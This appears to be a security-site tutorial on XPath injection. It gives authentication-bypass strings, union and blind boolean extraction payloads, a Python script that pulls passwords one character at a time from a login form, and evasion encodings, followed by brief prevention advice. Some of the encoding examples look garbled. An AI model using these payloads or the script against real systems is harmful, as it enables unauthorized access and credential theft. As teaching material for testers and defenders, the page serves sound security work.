XPath Injection: XML Database Attacks & Data Extraction Techniques (2025)
XPath injection targets applications that use XPath queries to retrieve data from XML documents or databases. Similar to SQL injection, it occurs when user input is embedded into XPath expressions without sanitization. While less common than SQLi, XPath injection can be devastating — XPath has no concept of access control, so a successful injection typically gives access to the entire XML document.
XPath Fundamentals
XPath is a query language for selecting nodes in XML documents. Understanding its syntax is critical for crafting injection payloads:
<!-- Sample XML document -->
<users>
<user>
<username>admin</username>
<password>s3cur3p@ss</password>
<role>administrator</role>
<email>admin@company.com</email>
</user>
<user>
<username>john</username>
<password>john123</password>
<role>user</role>
<email>john@company.com</email>
</user>
</users>
<!-- XPath queries -->
/users/user[username='admin'] <!-- Select admin user node -->
/users/user[username='admin']/password <!-- Select admin's password -->
//user[position()=1] <!-- First user -->
//user[last()] <!-- Last user -->
count(//user) <!-- Number of users -->
Authentication Bypass
Classic XPath Authentication Bypass
Applications often authenticate users with XPath queries like //user[username='INPUT' and password='INPUT']:
# Always-true injection (bypass authentication)
Username: ' or '1'='1
Password: ' or '1'='1
# Resulting query:
//user[username='' or '1'='1' and password='' or '1'='1']
# Login as first user (usually admin)
Username: ' or 1=1 or ''='
Password: anything
# Login as specific user (ignore password)
Username: admin' or '1'='1
Password: anything
# Resulting query:
//user[username='admin' or '1'='1' and password='anything']
# Because of operator precedence (AND before OR), this becomes:
# //user[(username='admin') or ('1'='1' and password='anything')]
Comment-Based Bypass
XPath does not support inline comments like SQL, but you can use string termination techniques:
# Close the predicate early
Username: admin']/*[1
Password: anything
# Using null bytes (implementation-dependent)
Username: admin'%00
Password: anything
# Multiple predicate injection
Username: '] | //user[username='admin
Password: anything
Data Extraction
Union-Based Extraction
XPath's union operator (|) allows combining multiple queries:
# Extract all usernames
' | //user/username | '
# Extract all passwords
' | //user/password | '
# Extract all emails
' | //user/email | '
# Extract all nodes (dump entire XML)
' | //* | '
# Extract specific user's data
' | //user[username='admin']/password | '
# Extract root element name
' | /* | '
Navigating the XML Tree
# Extract parent node name
' | //user/parent::* | '
# Extract child node names
' | //user/child::* | '
# Extract sibling nodes
' | //user[1]/following-sibling::* | '
# Extract all attributes
' | //@* | '
# Extract all text content
' | //text() | '
# Navigate to root and dump everything
' | /descendant-or-self::* | '
Blind XPath Injection
When the application does not display XPath results directly, use boolean-based techniques to extract data one character at a time:
Boolean-Based Extraction
# Step 1: Determine the number of users
' or count(//user)=1 or ''=' → False
' or count(//user)=2 or ''=' → True (2 users exist)
# Step 2: Get string length of first username
' or string-length(//user[1]/username)=1 or ''=' → False
' or string-length(//user[1]/username)=2 or ''=' → False
' or string-length(//user[1]/username)=5 or ''=' → True (5 characters)
# Step 3: Extract characters one by one
' or substring(//user[1]/username,1,1)='a' or ''=' → True → 'a'
' or substring(//user[1]/username,2,1)='d' or ''=' → True → 'd'
' or substring(//user[1]/username,3,1)='m' or ''=' → True → 'm'
' or substring(//user[1]/username,4,1)='i' or ''=' → True → 'i'
' or substring(//user[1]/username,5,1)='n' or ''=' → True → 'n'
# Extracted: "admin"
# Step 4: Extract the password
' or substring(//user[1]/password,1,1)='s' or ''=' → True → 's'
' or substring(//user[1]/password,2,1)='3' or ''=' → True → '3'
# Continue until full password is extracted...
Optimized Extraction with Binary Search
# Instead of testing each character, use comparison operators
# ASCII value comparison to halve the search space
' or substring(//user[1]/password,1,1) > 'm' or ''=' → True (char > m)
' or substring(//user[1]/password,1,1) > 't' or ''=' → False (char <= t)
' or substring(//user[1]/password,1,1) > 'p' or ''=' → True (char > p)
' or substring(//user[1]/password,1,1) > 'r' or ''=' → True (char > r)
' or substring(//user[1]/password,1,1) = 's' or ''=' → True → 's'
# Only 5 requests instead of up to 26
Automation Script
# Python blind XPath extraction
import requests
import string
url = "https://target.com/login"
charset = string.ascii_letters + string.digits + "!@#$%^&*"
extracted = ""
# Extract password of user[1]
for pos in range(1, 50):
found = False
for char in charset:
payload = f"' or substring(//user[1]/password,{pos},1)='{char}' or ''='"
data = {"username": payload, "password": "x"}
resp = requests.post(url, data=data)
if "Welcome" in resp.text or resp.status_code == 302:
extracted += char
print(f"Position {pos}: {char} (extracted: {extracted})")
found = True
break
if not found:
print(f"Extraction complete: {extracted}")
break
XPath 2.0 Advanced Techniques
XPath 2.0 introduces powerful functions that expand exploitation possibilities:
# String manipulation (XPath 2.0)
' or matches(//user[1]/password, '^admin') or ''='
' or contains(//user[1]/email, '@company.com') or ''='
' or starts-with(//user[1]/role, 'admin') or ''='
' or ends-with(//user[1]/email, '.com') or ''='
# Regular expressions (XPath 2.0)
' or matches(//user[1]/password, '[A-Z].*[0-9]') or ''='
# Numeric functions
' or //user[1]/salary > 100000 or ''='
# Date functions (XPath 2.0)
' or //user[1]/created > xs:date('2025-01-01') or ''='
# Tokenize and extract parts
tokenize(//user[1]/email, '@')[2] → domain part of email
XPath Injection in Different Contexts
XSLT Injection
If the application uses XSLT transformations with user input in XPath expressions:
<!-- Vulnerable XSLT template -->
<xsl:value-of select="//user[username='USER_INPUT']/email"/>
<!-- Injected to extract all data -->
<xsl:value-of select="//user[username='' or 1=1]/email"/>
SOAP/XML Services
<!-- If XPath is used to process SOAP requests -->
<SearchRequest>
<query>'] | //password | //user['</query>
</SearchRequest>
XPath vs SQL Injection Comparison
# Key differences:
# 1. XPath has NO access control — full document access on injection
# 2. XPath has NO comments (can't use -- or /* */)
# 3. XPath has NO UNION equivalent (use | operator instead)
# 4. XPath queries return nodes, not rows
# 5. XPath is case-sensitive
# 6. XPath has no INSERT/UPDATE/DELETE — read-only by nature
# SQL equivalents in XPath:
# SQL: SELECT * FROM users WHERE 1=1
# XPath: //user[1=1]
# SQL: SELECT username FROM users LIMIT 1
# XPath: //user[position()=1]/username
# SQL: SELECT COUNT(*) FROM users
# XPath: count(//user)
Encoding and Evasion
Use the Encoder/Decoder tool to prepare XPath payloads for different injection contexts:
# URL encoding for GET parameters
%27%20or%20%271%27%3D%271
# HTML entity encoding
' or '1'='1
# Double URL encoding
%2527%2520or%2520%25271%2527%253D%25271
# Unicode encoding
' or '1'='1
Prevention
- Use parameterized XPath queries — most XML libraries support precompiled expressions with variable binding
- Sanitize input by escaping single quotes (
'→') and double quotes - Validate input against a strict allowlist — usernames should be alphanumeric only
- Avoid constructing XPath from user input entirely — use XML APIs that don't require XPath
- If using XPath is unavoidable, implement a query allowlist that only permits expected patterns
Generate XPath injection payloads with our XPath Injection Generator. For related XML attacks, see the XXE Generator and the XXE Cheat Sheet. Use the Encoder/Decoder for encoding payloads in different formats.
Level up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides